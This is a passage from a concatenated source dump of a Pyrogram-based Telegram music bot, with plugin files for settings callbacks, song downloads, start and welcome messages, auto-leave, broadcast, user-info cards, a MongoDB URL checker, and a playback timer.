is_skipmode(CallbackQuery.message.chat.id) current = await get_upvote_count(CallbackQuery.message.chat.id) buttons = vote_mode_markup(_, current, mode) try: return await CallbackQuery.edit_message_reply_markup( reply_markup=InlineKeyboardMarkup(buttons) ) except MessageNotModified: return @app.on_callback_query(filters.regex("FERRARIUDTI") & ~BANNED_USERS) @ActualAdminCB async def addition(client, CallbackQuery, _): callback_data = CallbackQuery.data.strip() mode = callback_data.split(None, 1)[1] if not await is_skipmode(CallbackQuery.message.chat.id): return await CallbackQuery.answer(_["setting_10"], show_alert=True) current = await get_upvote_count(CallbackQuery.message.chat.id) if mode == "M": final = current - 2 print(final) if final == 0: return await CallbackQuery.answer( _["setting_11"], show_alert=True, ) if final <= 2: final = 2 await set_upvotes(CallbackQuery.message.chat.id, final) else: final = current + 2 print(final) if final == 17: return await CallbackQuery.answer( _["setting_12"], show_alert=True, ) if final >= 15: final = 15 await set_upvotes(CallbackQuery.message.chat.id, final) buttons = vote_mode_markup(_, final, True) try: return await CallbackQuery.edit_message_reply_markup( reply_markup=InlineKeyboardMarkup(buttons) ) except MessageNotModified: return @app.on_callback_query( filters.regex(pattern=r"^(MODECHANGE|CHANNELMODECHANGE|PLAYTYPECHANGE)$") & ~BANNED_USERS ) @ActualAdminCB async def playmode_ans(client, CallbackQuery, _): command = CallbackQuery.matches[0].group(1) if command == "CHANNELMODECHANGE": is_non_admin = await is_nonadmin_chat(CallbackQuery.message.chat.id) if not is_non_admin: await add_nonadmin_chat(CallbackQuery.message.chat.id) Group = None else: await remove_nonadmin_chat(CallbackQuery.message.chat.id) Group = True playmode = await get_playmode(CallbackQuery.message.chat.id) if playmode == "Direct": Direct = True else: Direct = None playty = await get_playtype(CallbackQuery.message.chat.id) if playty == "Everyone": Playtype = None else: Playtype = True buttons = playmode_users_markup(_, Direct, Group, Playtype) if command == "MODECHANGE": try: await CallbackQuery.answer(_["set_cb_3"], show_alert=True) except: pass playmode = await get_playmode(CallbackQuery.message.chat.id) if playmode == "Direct": await set_playmode(CallbackQuery.message.chat.id, "Inline") Direct = None else: await set_playmode(CallbackQuery.message.chat.id, "Direct") Direct = True is_non_admin = await is_nonadmin_chat(CallbackQuery.message.chat.id) if not is_non_admin: Group = True else: Group = None playty = await get_playtype(CallbackQuery.message.chat.id) if playty == "Everyone": Playtype = False else: Playtype = True buttons = playmode_users_markup(_, Direct, Group, Playtype) if command == "PLAYTYPECHANGE": try: await CallbackQuery.answer(_["set_cb_3"], show_alert=True) except: pass playty = await get_playtype(CallbackQuery.message.chat.id) if playty == "Everyone": await set_playtype(CallbackQuery.message.chat.id, "Admin") Playtype = False else: await set_playtype(CallbackQuery.message.chat.id, "Everyone") Playtype = True playmode = await get_playmode(CallbackQuery.message.chat.id) if playmode == "Direct": Direct = True else: Direct = None is_non_admin = await is_nonadmin_chat(CallbackQuery.message.chat.id) if not is_non_admin: Group = True else: Group = None buttons = playmode_users_markup(_, Direct, Group, Playtype) try: return await CallbackQuery.edit_message_reply_markup( reply_markup=InlineKeyboardMarkup(buttons) ) except MessageNotModified: return @app.on_callback_query(filters.regex(pattern=r"^(AUTH|AUTHLIST)$") & ~BANNED_USERS) @ActualAdminCB async def authusers_mar(client, CallbackQuery, _): command = CallbackQuery.matches[0].group(1) if command == "AUTHLIST": _authusers = await get_authuser_names(CallbackQuery.message.chat.id) if not _authusers: try: return await CallbackQuery.answer(_["setting_4"], show_alert=True) except: return else: try: await CallbackQuery.answer(_["set_cb_4"], show_alert=True) except: pass j = 0 await CallbackQuery.edit_message_text(_["auth_6"]) msg = _["auth_7"].format(CallbackQuery.message.chat.title) for note in _authusers: _note = await get_authuser(CallbackQuery.message.chat.id, note) user_id = _note["auth_user_id"] admin_id = _note["admin_id"] admin_name = _note["admin_name"] try: user = await app.get_users(user_id) user = user.first_name j += 1 except: continue msg += f"{j}➤ {user}[{user_id}]\n" msg += f" {_['auth_8']} {admin_name}[{admin_id}]\n\n" upl = InlineKeyboardMarkup( [ [ InlineKeyboardButton( text=_["BACK_BUTTON"], callback_data=f"AU" ), InlineKeyboardButton( text=_["CLOSE_BUTTON"], callback_data=f"close", ), ] ] ) try: return await CallbackQuery.edit_message_text(msg, reply_markup=upl) except MessageNotModified: return try: await CallbackQuery.answer(_["set_cb_3"], show_alert=True) except: pass if command == "AUTH": is_non_admin = await is_nonadmin_chat(CallbackQuery.message.chat.id) if not is_non_admin: await add_nonadmin_chat(CallbackQuery.message.chat.id) buttons = auth_users_markup(_) else: await remove_nonadmin_chat(CallbackQuery.message.chat.id) buttons = auth_users_markup(_, True) try: return await CallbackQuery.edit_message_reply_markup( reply_markup=InlineKeyboardMarkup(buttons) ) except MessageNotModified: return @app.on_callback_query(filters.regex("VOMODECHANGE") & ~BANNED_USERS) @ActualAdminCB async def vote_change(client, CallbackQuery, _): command = CallbackQuery.matches[0].group(1) try: await CallbackQuery.answer(_["set_cb_3"], show_alert=True) except: pass mod = None if await is_skipmode(CallbackQuery.message.chat.id): await skip_off(CallbackQuery.message.chat.id) else: mod = True await skip_on(CallbackQuery.message.chat.id) current = await get_upvote_count(CallbackQuery.message.chat.id) buttons = vote_mode_markup(_, current, mod) try: return await CallbackQuery.edit_message_reply_markup( reply_markup=InlineKeyboardMarkup(buttons) ) except MessageNotModified: return ================================================ FILE: BrandrdXMusic/plugins/bot/songs.py ================================================ import os import re import yt_dlp from pyrogram import Client, filters from pyrogram.types import ( CallbackQuery, InlineKeyboardButton, InlineKeyboardMarkup, InputMediaAudio, InputMediaVideo, Message, ) from config import ( BANNED_USERS, SONG_DOWNLOAD_DURATION, SONG_DOWNLOAD_DURATION_LIMIT, ) from BrandrdXMusic import YouTube, app from BrandrdXMusic.utils.decorators.language import language, languageCB from BrandrdXMusic.utils.formatters import convert_bytes from BrandrdXMusic.utils.inline.song import song_markup # Song Module @app.on_message(filters.command(["song"])) @language async def song_commad_private(client, message: Message, _): await message.delete() url = await YouTube.url(message) if url: if not await YouTube.exists(url): return await message.reply_text(_["song_5"]) mystic = await message.reply_text(_["play_1"]) ( title, duration_min, duration_sec, thumbnail, vidid, ) = await YouTube.details(url) if str(duration_min) == "None": return await mystic.edit_text(_["song_3"]) if int(duration_sec) > SONG_DOWNLOAD_DURATION_LIMIT: return await mystic.edit_text( _["play_4"].format( SONG_DOWNLOAD_DURATION, duration_min ) ) buttons = song_markup(_, vidid) await mystic.delete() await message.reply_photo( thumbnail, caption=_["song_4"].format(title), reply_markup=InlineKeyboardMarkup(buttons), ) else: if len(message.command) < 2: return await message.reply_text(_["song_2"]) mystic = await message.reply_text(_["play_1"]) query = message.text.split(None, 1)[1] try: ( title, duration_min, duration_sec, thumbnail, vidid, ) = await YouTube.details(query) except: return await mystic.edit_text(_["play_3"]) if str(duration_min) == "None": return await mystic.edit_text(_["song_3"]) if int(duration_sec) > SONG_DOWNLOAD_DURATION_LIMIT: return await mystic.edit_text( _["play_6"].format(SONG_DOWNLOAD_DURATION, duration_min) ) buttons = song_markup(_, vidid) await mystic.delete() await message.reply_photo( thumbnail, caption=_["song_4"].format(title), reply_markup=InlineKeyboardMarkup(buttons), ) @app.on_callback_query(filters.regex(pattern=r"song_back") & ~BANNED_USERS) @languageCB async def songs_back_helper(client, callback_query: CallbackQuery, _): callback_data = callback_query.data.strip() callback_request = callback_data.split(None, 1)[1] stype, vidid = callback_request.split("|") buttons = song_markup(_, vidid) await callback_query.edit_message_reply_markup( reply_markup=InlineKeyboardMarkup(buttons) ) @app.on_callback_query(filters.regex(pattern=r"song_helper") & ~BANNED_USERS) @languageCB async def song_helper_cb(client, callback_query: CallbackQuery, _): callback_data = callback_query.data.strip() callback_request = callback_data.split(None, 1)[1] stype, vidid = callback_request.split("|") try: await callback_query.answer(_["song_6"], show_alert=True) except: pass if stype == "audio": try: formats_available, link = await YouTube.formats( vidid, True ) except: return await callback_query.edit_message_text(_["song_7"]) keyboard = InlineKeyboardMarkup(inline_keyboard=[]) done = [] for x in formats_available: check = x["format"] if "audio" in check: if x["filesize"] is None: continue form = x["format_note"].title() if form not in done: done.append(form) else: continue sz = convert_bytes(x["filesize"]) fom = x["format_id"] keyboard.inline_keyboard.append( [ InlineKeyboardButton( text=f"{form} Quality Audio = {sz}", callback_data=f"song_download {stype}|{fom}|{vidid}", ), ] ) keyboard.inline_keyboard.append( [ InlineKeyboardButton( text=_["BACK_BUTTON"], callback_data=f"song_back {stype}|{vidid}", ), InlineKeyboardButton( text=_["CLOSE_BUTTON"], callback_data=f"close" ), ] ) await callback_query.edit_message_reply_markup( reply_markup=keyboard ) else: try: formats_available, link = await YouTube.formats( vidid, True ) except Exception as e: print(e) return await callback_query.edit_message_text(_["song_7"]) keyboard = InlineKeyboardMarkup(inline_keyboard=[]) done = [160, 133, 134, 135, 136, 137, 298, 299, 264, 304, 266] for x in formats_available: check = x["format"] if x["filesize"] is None: continue if int(x["format_id"]) not in done: continue sz = convert_bytes(x["filesize"]) ap = check.split("-")[1] to = f"{ap} = {sz}" keyboard.inline_keyboard.append( [ InlineKeyboardButton( text=to, callback_data=f"song_download {stype}|{x['format_id']}|{vidid}", ), ] ) keyboard.inline_keyboard.append( [ InlineKeyboardButton( text=_["BACK_BUTTON"], callback_data=f"song_back {stype}|{vidid}", ), InlineKeyboardButton( text=_["CLOSE_BUTTON"], callback_data=f"close" ), ] ) await callback_query.edit_message_reply_markup( reply_markup=keyboard ) # Downloading Songs Here @app.on_callback_query( filters.regex(pattern=r"song_download") & ~BANNED_USERS ) @languageCB async def song_download_cb(client, callback_query: CallbackQuery, _) : try: await callback_query.answer("ᴅᴏᴡɴʟᴏᴀᴅɪɴɢ...") except: pass callback_data = callback_query.data.strip() callback_request = callback_data.split(None, 1)[1] stype, format_id, vidid = callback_request.split("|") mystic = await callback_query.edit_message_text(_["song_8"]) yturl = f"https://www.youtube.com/watch?v={vidid}" with yt_dlp.YoutubeDL({"quiet": True}) as ytdl: x = ytdl.extract_info(yturl, download=False) title = (x["title"]).title() title = re.sub("\W+", " ", title) thumb_image_path = await callback_query.message.download() duration = x["duration"] if stype == "video": thumb_image_path = await callback_query.message.download() width = callback_query.message.photo.width height = callback_query.message.photo.height try: file_path = await YouTube.download( yturl, mystic, songvideo=True, format_id=format_id, title=title, ) except Exception as e: return await mystic.edit_text(_["song_9"].format(e)) med = InputMediaVideo( media=file_path, duration=duration, width=width, height=height, thumb=thumb_image_path, caption=title, supports_streaming=True, ) await mystic.edit_text(_["song_11"]) await app.send_chat_action( chat_id=callback_query.message.chat.id, action="upload_video", ) try: await callback_query.edit_message_media(media=med) except Exception as e: print(e) return await mystic.edit_text(_["song_10"]) os.remove(file_path) elif stype == "audio": try: filename = await YouTube.download( yturl, mystic, songaudio=True, format_id=format_id, title=title, ) except Exception as e: return await mystic.edit_text(_["song_9"].format(e)) med = InputMediaAudio( media=filename, caption=title, thumb=thumb_image_path, title=title, performer=x["uploader"], ) await mystic.edit_text(_["song_11"]) await app.send_chat_action( chat_id=callback_query.message.chat.id, action="upload_audio", ) try: await callback_query.edit_message_media(media=med) except Exception as e: print(e) return await mystic.edit_text(_["song_10"]) os.remove(filename) ================================================ FILE: BrandrdXMusic/plugins/bot/start.py ================================================ import time import asyncio from pyrogram import filters from pyrogram.enums import ChatType from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message from youtubesearchpython.__future__ import VideosSearch import config from BrandrdXMusic import app from BrandrdXMusic.misc import _boot_ from BrandrdXMusic.plugins.sudo.sudoers import sudoers_list from BrandrdXMusic.utils.database import ( add_served_chat, add_served_user, blacklisted_chats, get_lang, is_banned_user, is_on_off, ) from BrandrdXMusic.utils.decorators.language import LanguageStart from BrandrdXMusic.utils.formatters import get_readable_time from BrandrdXMusic.utils.inline import help_pannel, private_panel, start_panel from config import BANNED_USERS from strings import get_string @app.on_message(filters.command(["start"]) & filters.private & ~BANNED_USERS) @LanguageStart async def start_pm(client, message: Message, _): await add_served_user(message.from_user.id) await message.react("❤") if len(message.text.split()) > 1: name = message.text.split(None, 1)[1] if name[0:4] == "help": keyboard = help_pannel(_) await message.reply_sticker("CAACAgUAAxkBAAEQI1RlTLnRAy4h9lOS6jgS5FYsQoruOAAC1gMAAg6ryVcldUr_lhPexzME") return await message.reply_photo( photo=config.START_IMG_URL, caption=_["help_1"].format(config.SUPPORT_CHAT), reply_markup=keyboard, ) if name[0:3] == "sud": await sudoers_list(client=client, message=message, _=_) if await is_on_off(2): return await app.send_message( chat_id=config.LOGGER_ID, text=f"{message.from_user.mention} ᴊᴜsᴛ sᴛᴀʀᴛᴇᴅ ᴛʜᴇ ʙᴏᴛ ᴛᴏ ᴄʜᴇᴄᴋ sᴜᴅᴏʟɪsᴛ.\n\nᴜsᴇʀ ɪᴅ : {message.from_user.id}\nᴜsᴇʀɴᴀᴍᴇ : @{message.from_user.username}", ) return if name[0:3] == "inf": m = await message.reply_text("🔎") query = (str(name)).replace("info_", "", 1) query = f"https://www.youtube.com/watch?v={query}" results = VideosSearch(query, limit=1) for result in (await results.next())["result"]: title = result["title"] duration = result["duration"] views = result["viewCount"]["short"] thumbnail = result["thumbnails"][0]["url"].split("?")[0] channellink = result["channel"]["link"] channel = result["channel"]["name"] link = result["link"] published = result["publishedTime"] searched_text = _["start_6"].format( title, duration, views, published, channellink, channel, app.mention ) key = InlineKeyboardMarkup( [ [ InlineKeyboardButton(text=_["S_B_8"], url=link), InlineKeyboardButton(text=_["S_B_9"], url=config.SUPPORT_CHAT), ], ] ) await m.delete() await app.send_photo( chat_id=message.chat.id, photo=thumbnail, caption=searched_text, reply_markup=key, ) if await is_on_off(2): return await app.send_message( chat_id=config.LOGGER_ID, text=f"{message.from_user.mention} ᴊᴜsᴛ sᴛᴀʀᴛᴇᴅ ᴛʜᴇ ʙᴏᴛ ᴛᴏ ᴄʜᴇᴄᴋ ᴛʀᴀᴄᴋ ɪɴғᴏʀᴍᴀᴛɪᴏɴ.\n\nᴜsᴇʀ ɪᴅ : {message.from_user.id}\nᴜsᴇʀɴᴀᴍᴇ : @{message.from_user.username}", ) else: try: out = private_panel(_) lol = await message.reply_text("𝐖𝐞𝐥𝐜𝐨𝐦𝐞 𝐁𝐚𝐛𝐲 ꨄ︎ {}.. ❣️".format(message.from_user.mention)) await lol.edit_text("𝐖𝐞𝐥𝐜𝐨𝐦𝐞 𝐁𝐚𝐛𝐲 ꨄ {}.. 🥳".format(message.from_user.mention)) await lol.edit_text("𝐖𝐞𝐥𝐜𝐨𝐦𝐞 𝐁𝐚𝐛𝐲 ꨄ {}.. 💥".format(message.from_user.mention)) await lol.edit_text("𝐖𝐞𝐥𝐜𝐨𝐦𝐞 𝐁𝐚𝐛𝐲 ꨄ {}.. 🤩".format(message.from_user.mention)) await lol.edit_text("𝐖𝐞𝐥𝐜𝐨𝐦𝐞 𝐁𝐚𝐛𝐲 ꨄ {}.. 💌".format(message.from_user.mention)) await lol.edit_text("𝐖𝐞𝐥𝐜𝐨𝐦𝐞 𝐁𝐚𝐛𝐲 ꨄ {}.. 💞".format(message.from_user.mention)) await lol.delete() lols = await message.reply_text("**⚡️ѕ**") await asyncio.sleep(0.1) await lols.edit_text("⚡ѕт") await asyncio.sleep(0.1) await lols.edit_text("**⚡ѕтα**") await asyncio.sleep(0.1) await lols.edit_text("**⚡ѕтαя**") await asyncio.sleep(0.1) await lols.edit_text("**⚡ѕтαят**") await asyncio.sleep(0.1) await lols.edit_text("**⚡ѕтαятι**") await asyncio.sleep(0.1) await lols.edit_text("**⚡ѕтαятιи**") await asyncio.sleep(0.1) await lols.edit_text("**⚡ѕтαятιиg**") await asyncio.sleep(0.1) await lols.edit_text("**⚡ѕтαятιиg.**") await lols.edit_text("**⚡ѕтαятιиg....**") await lols.edit_text("**⚡ѕтαятιиg.**") await lols.edit_text("**⚡ѕтαятιиg....**") m = await message.reply_sticker("CAACAgUAAxkBAAEQI1BlTLmx7PtOO3aPNshEU2gCy7iAFgACNQUAApqMuVeA6eJ50VbvmDME") if message.chat.photo: userss_photo = await app.download_media( message.chat.photo.big_file_id, ) else: userss_photo = "assets/nodp.png" if userss_photo: chat_photo = userss_photo chat_photo = userss_photo if userss_photo else START_IMG_URL except AttributeError: chat_photo = "assets/nodp.png" await lols.delete() await m.delete() await message.reply_photo( photo=chat_photo, caption=_["start_2"].format(message.from_user.mention, app.mention), reply_markup=InlineKeyboardMarkup(out), ) if await is_on_off(config.LOG): sender_id = message.from_user.id sender_name = message.from_user.first_name return await app.send_message( config.LOG_GROUP_ID, f"{message.from_user.mention} ʜᴀs sᴛᴀʀᴛᴇᴅ ʙᴏᴛ. \n\n**ᴜsᴇʀ ɪᴅ : {sender_id}\n**ᴜsᴇʀ ɴᴀᴍᴇ: {sender_name}", ) @app.on_message(filters.command(["start"]) & filters.group & ~BANNED_USERS) @LanguageStart async def start_gp(client, message: Message, _): out = start_panel(_) uptime = int(time.time() - _boot_) await message.reply_photo( photo=config.START_IMG_URL, caption=_["start_1"].format(app.mention, get_readable_time(uptime)), reply_markup=InlineKeyboardMarkup(out), ) return await add_served_chat(message.chat.id) @app.on_message(filters.new_chat_members, group=-1) async def welcome(client, message: Message): for member in message.new_chat_members: try: language = await get_lang(message.chat.id) _ = get_string(language) if await is_banned_user(member.id): try: await message.chat.ban_member(member.id) except: pass if member.id == app.id: if message.chat.type != ChatType.SUPERGROUP: await message.reply_text(_["start_4"]) return await app.leave_chat(message.chat.id) if message.chat.id in await blacklisted_chats(): await message.reply_text( _["start_5"].format( app.mention, f"https://t.me/{app.username}?start=sudolist", config.SUPPORT_CHAT, ), disable_web_page_preview=True, ) return await app.leave_chat(message.chat.id) out = start_panel(_) await message.reply_photo( photo=config.START_IMG_URL, caption=_["start_3"].format( message.from_user.first_name, app.mention, message.chat.title, app.mention, ), reply_markup=InlineKeyboardMarkup(out), ) await add_served_chat(message.chat.id) await message.stop_propagation() except Exception as ex: print(ex) ================================================ FILE: BrandrdXMusic/plugins/misc/autoleave.py ================================================ import asyncio from datetime import datetime from pyrogram.enums import ChatType import config from BrandrdXMusic import app from BrandrdXMusic.core.call import Hotty, autoend from BrandrdXMusic.utils.database import get_client, is_active_chat, is_autoend async def auto_leave(): if config.AUTO_LEAVING_ASSISTANT: while not await asyncio.sleep(900): from BrandrdXMusic.core.userbot import assistants for num in assistants: client = await get_client(num) left = 0 try: async for i in client.get_dialogs(): if i.chat.type in [ ChatType.SUPERGROUP, ChatType.GROUP, ChatType.CHANNEL, ]: if ( i.chat.id != config.LOGGER_ID and i.chat.id != -1001626004802 and i.chat.id != -1001876397776 ): if left == 20: continue if not await is_active_chat(i.chat.id): try: await client.leave_chat(i.chat.id) left += 1 except: continue except: pass asyncio.create_task(auto_leave()) async def auto_end(): while not await asyncio.sleep(5): ender = await is_autoend() if not ender: continue for chat_id in autoend: timer = autoend.get(chat_id) if not timer: continue if datetime.now() > timer: if not await is_active_chat(chat_id): autoend[chat_id] = {} continue autoend[chat_id] = {} try: await Hotty.stop_stream(chat_id) except: continue try: await app.send_message( chat_id, "» ʙᴏᴛ ᴀᴜᴛᴏᴍᴀᴛɪᴄᴀʟʟʏ ʟᴇғᴛ ᴠɪᴅᴇᴏᴄʜᴀᴛ ʙᴇᴄᴀᴜsᴇ ɴᴏ ᴏɴᴇ ᴡᴀs ʟɪsᴛᴇɴɪɴɢ ᴏɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ.", ) except: continue asyncio.create_task(auto_end()) ================================================ FILE: BrandrdXMusic/plugins/misc/broadcast.py ================================================ import asyncio from pyrogram import filters from pyrogram.enums import ChatMembersFilter from pyrogram.errors import FloodWait from BrandrdXMusic import app from BrandrdXMusic.misc import SUDOERS from BrandrdXMusic.utils.database import ( get_active_chats, get_authuser_names, get_client, get_served_chats, get_served_users, ) from BrandrdXMusic.utils.decorators.language import language from BrandrdXMusic.utils.formatters import alpha_to_int from config import adminlist IS_BROADCASTING = False @app.on_message(filters.command("broadcast") & SUDOERS) @language async def braodcast_message(client, message, _): global IS_BROADCASTING if message.reply_to_message: x = message.reply_to_message.id y = message.chat.id else: if len(message.command) < 2: return await message.reply_text(_["broad_2"]) query = message.text.split(None, 1)[1] if "-pin" in query: query = query.replace("-pin", "") if "-nobot" in query: query = query.replace("-nobot", "") if "-pinloud" in query: query = query.replace("-pinloud", "") if "-assistant" in query: query = query.replace("-assistant", "") if "-user" in query: query = query.replace("-user", "") if query == "": return await message.reply_text(_["broad_8"]) IS_BROADCASTING = True await message.reply_text(_["broad_1"]) if "-nobot" not in message.text: sent = 0 pin = 0 chats = [] schats = await get_served_chats() for chat in schats: chats.append(int(chat["chat_id"])) for i in chats: try: m = ( await app.forward_messages(i, y, x) if message.reply_to_message else await app.send_message(i, text=query) ) if "-pin" in message.text: try: await m.pin(disable_notification=True) pin += 1 except: continue elif "-pinloud" in message.text: try: await m.pin(disable_notification=False) pin += 1 except: continue sent += 1 await asyncio.sleep(0.2) except FloodWait as fw: flood_time = int(fw.value) if flood_time > 200: continue await asyncio.sleep(flood_time) except: continue try: await message.reply_text(_["broad_3"].format(sent, pin)) except: pass if "-user" in message.text: susr = 0 served_users = [] susers = await get_served_users() for user in susers: served_users.append(int(user["user_id"])) for i in served_users: try: m = ( await app.forward_messages(i, y, x) if message.reply_to_message else await app.send_message(i, text=query) ) susr += 1 await asyncio.sleep(0.2) except FloodWait as fw: flood_time = int(fw.value) if flood_time > 200: continue await asyncio.sleep(flood_time) except: pass try: await message.reply_text(_["broad_4"].format(susr)) except: pass if "-assistant" in message.text: aw = await message.reply_text(_["broad_5"]) text = _["broad_6"] from AnonXMusic.core.userbot import assistants for num in assistants: sent = 0 client = await get_client(num) async for dialog in client.get_dialogs(): try: await client.forward_messages( dialog.chat.id, y, x ) if message.reply_to_message else await client.send_message( dialog.chat.id, text=query ) sent += 1 await asyncio.sleep(3) except FloodWait as fw: flood_time = int(fw.value) if flood_time > 200: continue await asyncio.sleep(flood_time) except: continue text += _["broad_7"].format(num, sent) try: await aw.edit_text(text) except: pass IS_BROADCASTING = False async def auto_clean(): while not await asyncio.sleep(10): try: served_chats = await get_active_chats() for chat_id in served_chats: if chat_id not in adminlist: adminlist[chat_id] = [] async for user in app.get_chat_members( chat_id, filter=ChatMembersFilter.ADMINISTRATORS ): if user.privileges.can_manage_video_chats: adminlist[chat_id].append(user.user.id) authusers = await get_authuser_names(chat_id) for user in authusers: user_id = await alpha_to_int(user) adminlist[chat_id].append(user_id) except: continue asyncio.create_task(auto_clean()) ================================================ FILE: BrandrdXMusic/plugins/misc/info.py ================================================ import asyncio, os, time, aiohttp from pathlib import Path from PIL import Image, ImageDraw, ImageFont from asyncio import sleep from BrandrdXMusic import app from pyrogram import filters, Client, enums from pyrogram.enums import ParseMode from pyrogram.types import * from typing import Union, Optional import random random_photo = [ "https://telegra.ph/file/1949480f01355b4e87d26.jpg", "https://telegra.ph/file/3ef2cc0ad2bc548bafb30.jpg", "https://telegra.ph/file/a7d663cd2de689b811729.jpg", "https://telegra.ph/file/6f19dc23847f5b005e922.jpg", "https://telegra.ph/file/2973150dd62fd27a3a6ba.jpg", ] # --------------------------------------------------------------------------------- # get_font = lambda font_size, font_path: ImageFont.truetype(font_path, font_size) resize_text = ( lambda text_size, text: (text[:text_size] + "...").upper() if len(text) > text_size else text.upper() ) # --------------------------------------------------------------------------------- # async def get_userinfo_img( bg_path: str, font_path: str, user_id: Union[int, str], profile_path: Optional[str] = None ): bg = Image.open(bg_path) if profile_path: img = Image.open(profile_path) mask = Image.new("L", img.size, 0) draw = ImageDraw.Draw(mask) draw.pieslice([(0, 0), img.size], 0, 360, fill=255) circular_img = Image.new("RGBA", img.size, (0, 0, 0, 0)) circular_img.paste(img, (0, 0), mask) resized = circular_img.resize((400, 400)) bg.paste(resized, (440, 160), resized) img_draw = ImageDraw.Draw(bg) img_draw.text( (529, 627), text=str(user_id).upper(), font=get_font(46, font_path), fill=(255, 255, 255), ) path = f"./userinfo_img_{user_id}.png" bg.save(path) return path # --------------------------------------------------------------------------------- # bg_path = "BrandrdXMusic/assets/userinfo.png" font_path = "BrandrdXMusic/assets/hiroko.ttf" # --------------------------------------------------------------------------------- # INFO_TEXT = """** ❅─────✧❅✦❅✧─────❅ ✦ ᴜsᴇʀ ɪɴғᴏ ✦ ➻ ᴜsᴇʀ ɪᴅ ‣ **`{}` **➻ ғɪʀsᴛ ɴᴀᴍᴇ ‣ **{} **➻ ʟᴀsᴛ ɴᴀᴍᴇ ‣ **{} **➻ ᴜsᴇʀɴᴀᴍᴇ ‣ **`{}` **➻ ᴍᴇɴᴛɪᴏɴ ‣ **{} **➻ ʟᴀsᴛ sᴇᴇɴ ‣ **{} **➻ ᴅᴄ ɪᴅ ‣ **{} **➻ ʙɪᴏ ‣ **`{}` **❅─────✧❅✦❅✧─────❅** """ # --------------------------------------------------------------------------------- # async def userstatus(user_id): try: user = await app.get_users(user_id) x = user.status if x == enums.UserStatus.RECENTLY: return "Recently." elif x == enums.UserStatus.LAST_WEEK: return "Last week." elif x == enums.UserStatus.LONG_AGO: return "Long time ago." elif x == enums.UserStatus.OFFLINE: return "Offline." elif x == enums.UserStatus.ONLINE: return "Online." except: return "**sᴏᴍᴇᴛʜɪɴɢ ᴡʀᴏɴɢ ʜᴀᴘᴘᴇɴᴇᴅ !**" # --------------------------------------------------------------------------------- # @app.on_message(filters.command(["info", "userinfo"], prefixes=["/", "!", "%", ",", "", ".", "@", "#"])) async def userinfo(_, message): chat_id = message.chat.id user_id = message.from_user.id if not message.reply_to_message and len(message.command) == 2: try: user_id = message.text.split(None, 1)[1] user_info = await app.get_chat(user_id) user = await app.get_users(user_id) status = await userstatus(user.id) id = user_info.id dc_id = user.dc_id first_name = user_info.first_name last_name = user_info.last_name if user_info.last_name else "No last name" username = user_info.username if user_info.username else "No Username" mention = user.mention bio = user_info.bio if user_info.bio else "No bio set" if user.photo: # User has a profile photo photo = await app.download_media(user.photo.big_file_id) welcome_photo = await get_userinfo_img( bg_path=bg_path, font_path=font_path, user_id=user.id, profile_path=photo, ) else: # User doesn't have a profile photo, use random_photo directly welcome_photo = random.choice(random_photo) await app.send_photo(chat_id, photo=welcome_photo, caption=INFO_TEXT.format( id, first_name, last_name, username, mention, status, dc_id, bio), reply_to_message_id=message.id) except Exception as e: await message.reply_text(str(e)) elif not message.reply_to_message: try: user_info = await app.get_chat(user_id) user = await app.get_users(user_id) status = await userstatus(user.id) id = user_info.id dc_id = user.dc_id first_name = user_info.first_name last_name = user_info.last_name if user_info.last_name else "No last name" username = user_info.username if user_info.username else "No Username" mention = user.mention bio = user_info.bio if user_info.bio else "No bio set" if user.photo: # User has a profile photo photo = await app.download_media(user.photo.big_file_id) welcome_photo = await get_userinfo_img( bg_path=bg_path, font_path=font_path, user_id=user.id, profile_path=photo, ) else: # User doesn't have a profile photo, use random_photo directly welcome_photo = random.choice(random_photo) await app.send_photo(chat_id, photo=welcome_photo, caption=INFO_TEXT.format( id, first_name, last_name, username, mention, status, dc_id, bio), reply_to_message_id=message.id) except Exception as e: await message.reply_text(str(e)) elif message.reply_to_message: user_id = message.reply_to_message.from_user.id try: user_info = await app.get_chat(user_id) user = await app.get_users(user_id) status = await userstatus(user.id) id = user_info.id dc_id = user.dc_id first_name = user_info.first_name last_name = user_info.last_name if user_info.last_name else "No last name" username = user_info.username if user_info.username else "No Username" mention = user.mention bio = user_info.bio if user_info.bio else "No bio set" if user.photo: # User has a profile photo photo = await app.download_media(user.photo.big_file_id) welcome_photo = await get_userinfo_img( bg_path=bg_path, font_path=font_path, user_id=user.id, profile_path=photo, ) else: # User doesn't have a profile photo, use random_photo directly welcome_photo = random.choice(random_photo) await app.send_photo(chat_id, photo=welcome_photo, caption=INFO_TEXT.format( id, first_name, last_name, username, mention, status, dc_id, bio), reply_to_message_id=message.id) except Exception as e: await message.reply_text(str(e)) ================================================ FILE: BrandrdXMusic/plugins/misc/mongochk.py ================================================ from pyrogram import Client, filters from pyrogram.types import Message from pymongo import MongoClient import re from BrandrdXMusic import app as Hotty mongo_url_pattern = re.compile(r'mongodb(?:\+srv)?:\/\/[^\s]+') @Hotty.on_message(filters.command("mongochk")) async def mongo_command(client, message: Message): if len(message.command) < 2: await message.reply("Please enter your MongoDB URL after the command. Example: /mongochk your_mongodb_url") return mongo_url = message.command[1] if re.match(mongo_url_pattern, mongo_url): try: # Attempt to connect to the MongoDB instance client = MongoClient(mongo_url, serverSelectionTimeoutMS=5000) client.server_info() # Will cause an exception if connection fails await message.reply("𝗠𝗼𝗻𝗴𝗼𝗗𝗕 𝗨𝗥𝗟 𝗶𝘀 𝘃𝗮𝗹𝗶𝗱 𝗮𝗻𝗱 𝗰𝗼𝗻𝗻𝗲𝗰𝘁𝗶𝗼𝗻 𝘀𝘂𝗰𝗰𝗲𝘀𝘀𝗳𝘂𝗹✅") except Exception as e: await message.reply(f"Failed to connect to MongoDB: {e}") else: await message.reply("𝗜𝗻𝘃𝗮𝗹𝗶𝗱 𝗠𝗼𝗻𝗴𝗼𝗗𝗕 𝗨𝗥𝗟 𝗳𝗼𝗿𝗺𝗮𝘁💔") ================================================ FILE: BrandrdXMusic/plugins/misc/seeker.py ================================================ import asyncio from BrandrdXMusic.misc import db from BrandrdXMusic.utils.database import get_active_chats, is_music_playing async def timer(): while not await asyncio.sleep(1): active_chats = await get_active_chats() for chat_id in active_chats: if not await is_music_playing(chat_id): continue playing = db.get(chat_id) if not playing: continue duration = int(playing[0]["seconds"]) if duration == 0: continue if db[chat_id][0]["played"] >= duration: continue db[chat_id][0]["played"] += 1 asyncio.create_task(timer()) ================================================ FILE: BrandrdXMusic/plugins/misc/truth_dare.py ================================================ from pyrogram import Client, filters import requests import random from BrandrdXMusic import app # Truth or Dare API 